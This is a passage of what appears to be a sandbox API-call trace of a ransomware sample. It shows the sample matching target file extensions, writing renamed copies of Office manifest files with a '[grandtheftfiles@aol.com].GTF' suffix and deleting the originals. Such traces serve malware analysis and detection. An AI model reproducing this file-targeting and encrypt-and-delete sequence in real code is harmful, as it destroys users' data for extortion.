	[0077.633] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.633] lstrlenW (lpString=".xlsx") returned 5
	[0077.633] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.633] lstrlenW (lpString=".ppt") returned 4
	[0077.633] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.633] lstrlenW (lpString=".zip") returned 4
	[0077.633] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.633] lstrlenW (lpString=".rar") returned 4
	[0077.633] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.633] lstrlenW (lpString=".bz2") returned 4
	[0077.633] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.633] lstrlenW (lpString=".7z") returned 3
	[0077.634] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.634] lstrlenW (lpString=".dbf") returned 4
	[0077.634] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.634] lstrlenW (lpString=".1cd") returned 4
	[0077.634] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.634] lstrlenW (lpString=".jpg") returned 4
	[0077.634] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.634] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0077.634] lstrlenW (lpString="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 53
	[0077.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0077.634] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=1261) returned 1
	[0077.634] CloseHandle (hObject=0x388) returned 1
	[0077.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0077.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0077.635] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.635] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0077.635] GetLastError () returned 0x0
	[0077.635] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0077.636] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0077.637] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.637] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.638] SetEndOfFile (hFile=0x35c) returned 1
	[0077.638] CloseHandle (hObject=0x35c) returned 1
	[0077.638] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.638] SetEndOfFile (hFile=0x388) returned 1
	[0077.639] CloseHandle (hObject=0x388) returned 1
	[0077.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0077.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 1
	[0077.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.640] lstrlenW (lpString=".doc") returned 4
	[0077.640] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.640] lstrlenW (lpString=".docx") returned 5
	[0077.640] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.640] lstrlenW (lpString=".pdf") returned 4
	[0077.640] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.640] lstrlenW (lpString=".xls") returned 4
	[0077.640] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.640] lstrlenW (lpString=".xlsx") returned 5
	[0077.640] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.640] lstrlenW (lpString=".ppt") returned 4
	[0077.640] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.640] lstrlenW (lpString=".zip") returned 4
	[0077.640] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.640] lstrlenW (lpString=".rar") returned 4
	[0077.640] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.640] lstrlenW (lpString=".bz2") returned 4
	[0077.640] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.640] lstrlenW (lpString=".7z") returned 3
	[0077.640] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.640] lstrlenW (lpString=".dbf") returned 4
	[0077.640] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.640] lstrlenW (lpString=".1cd") returned 4
	[0077.640] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.640] lstrlenW (lpString=".jpg") returned 4
	[0077.640] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.641] lstrlenW (lpString=".doc") returned 4
	[0077.641] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.641] lstrlenW (lpString=".docx") returned 5
	[0077.641] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.641] lstrlenW (lpString=".pdf") returned 4
	[0077.641] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.641] lstrlenW (lpString=".xls") returned 4
	[0077.641] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.641] lstrlenW (lpString=".xlsx") returned 5
	[0077.641] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.641] lstrlenW (lpString=".ppt") returned 4
	[0077.641] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.642] lstrlenW (lpString=".zip") returned 4
	[0077.642] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.642] lstrlenW (lpString=".rar") returned 4
	[0077.642] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.642] lstrlenW (lpString=".bz2") returned 4
	[0077.642] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.642] lstrlenW (lpString=".7z") returned 3
	[0077.642] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.642] lstrlenW (lpString=".dbf") returned 4
	[0077.642] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.642] lstrlenW (lpString=".1cd") returned 4
	[0077.642] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.642] lstrlenW (lpString=".jpg") returned 4
	[0077.642] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.642] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0077.642] lstrlenW (lpString="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 53
	[0077.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0077.642] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=1450) returned 1
	[0077.642] CloseHandle (hObject=0x388) returned 1
	[0077.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0077.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0077.643] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.643] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0077.643] GetLastError () returned 0x0
	[0077.643] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x5aa, lpOverlapped=0x0) returned 1
	[0077.823] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x5b0, lpOverlapped=0x0) returned 1
	[0077.824] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.824] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.824] SetEndOfFile (hFile=0x35c) returned 1
	[0077.825] CloseHandle (hObject=0x35c) returned 1
	[0077.825] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.825] SetEndOfFile (hFile=0x388) returned 1
	[0077.826] CloseHandle (hObject=0x388) returned 1
	[0077.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0077.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 1
	[0077.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.835] lstrlenW (lpString=".doc") returned 4
	[0077.835] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.835] lstrlenW (lpString=".docx") returned 5
	[0077.835] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.835] lstrlenW (lpString=".pdf") returned 4
	[0077.835] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.835] lstrlenW (lpString=".xls") returned 4
	[0077.835] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.835] lstrlenW (lpString=".xlsx") returned 5
	[0077.835] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.835] lstrlenW (lpString=".ppt") returned 4
	[0077.835] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.835] lstrlenW (lpString=".zip") returned 4
	[0077.835] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.835] lstrlenW (lpString=".rar") returned 4
	[0077.835] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.835] lstrlenW (lpString=".bz2") returned 4
	[0077.835] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.835] lstrlenW (lpString=".7z") returned 3
	[0077.835] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.835] lstrlenW (lpString=".dbf") returned 4
	[0077.835] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.835] lstrlenW (lpString=".1cd") returned 4
	[0077.835] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.835] lstrlenW (lpString=".jpg") returned 4
	[0077.835] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.835] lstrlenW (lpString=".doc") returned 4
	[0077.836] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.836] lstrlenW (lpString=".docx") returned 5
	[0077.836] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.836] lstrlenW (lpString=".pdf") returned 4
	[0077.836] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.836] lstrlenW (lpString=".xls") returned 4
	[0077.836] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.836] lstrlenW (lpString=".xlsx") returned 5
	[0077.836] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.836] lstrlenW (lpString=".ppt") returned 4
	[0077.836] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.836] lstrlenW (lpString=".zip") returned 4
	[0077.836] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.836] lstrlenW (lpString=".rar") returned 4
	[0077.836] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.836] lstrlenW (lpString=".bz2") returned 4
	[0077.836] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.836] lstrlenW (lpString=".7z") returned 3
	[0077.836] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.836] lstrlenW (lpString=".dbf") returned 4
	[0077.836] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.836] lstrlenW (lpString=".1cd") returned 4
	[0077.836] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0077.836] lstrlenW (lpString=".jpg") returned 4
	[0077.836] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.836] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0077.836] lstrlenW (lpString="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 53
	[0077.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0077.837] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=1261) returned 1
	[0077.837] CloseHandle (hObject=0x388) returned 1
	[0077.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0077.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0077.838] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.838] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0077.838] GetLastError () returned 0x0
	[0077.838] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0077.873] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0077.874] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.874] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.874] SetEndOfFile (hFile=0x35c) returned 1
	[0077.874] CloseHandle (hObject=0x35c) returned 1
	[0077.875] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.875] SetEndOfFile (hFile=0x388) returned 1
	[0077.875] CloseHandle (hObject=0x388) returned 1
	[0077.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0077.876] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 1
	[0077.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0077.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0077.876] lstrlenW (lpString=".doc") returned 4
	[0077.876] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.876] lstrlenW (lpString=".docx") returned 5
	[0077.876] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.876] lstrlenW (lpString=".pdf") returned 4
	[0077.876] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.876] lstrlenW (lpString=".xls") returned 4
	[0077.876] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.876] lstrlenW (lpString=".xlsx") returned 5
	[0077.876] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.876] lstrlenW (lpString=".ppt") returned 4
	[0077.876] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104
	[0077.876] lstrlenW (lpString=".zip") returned 4
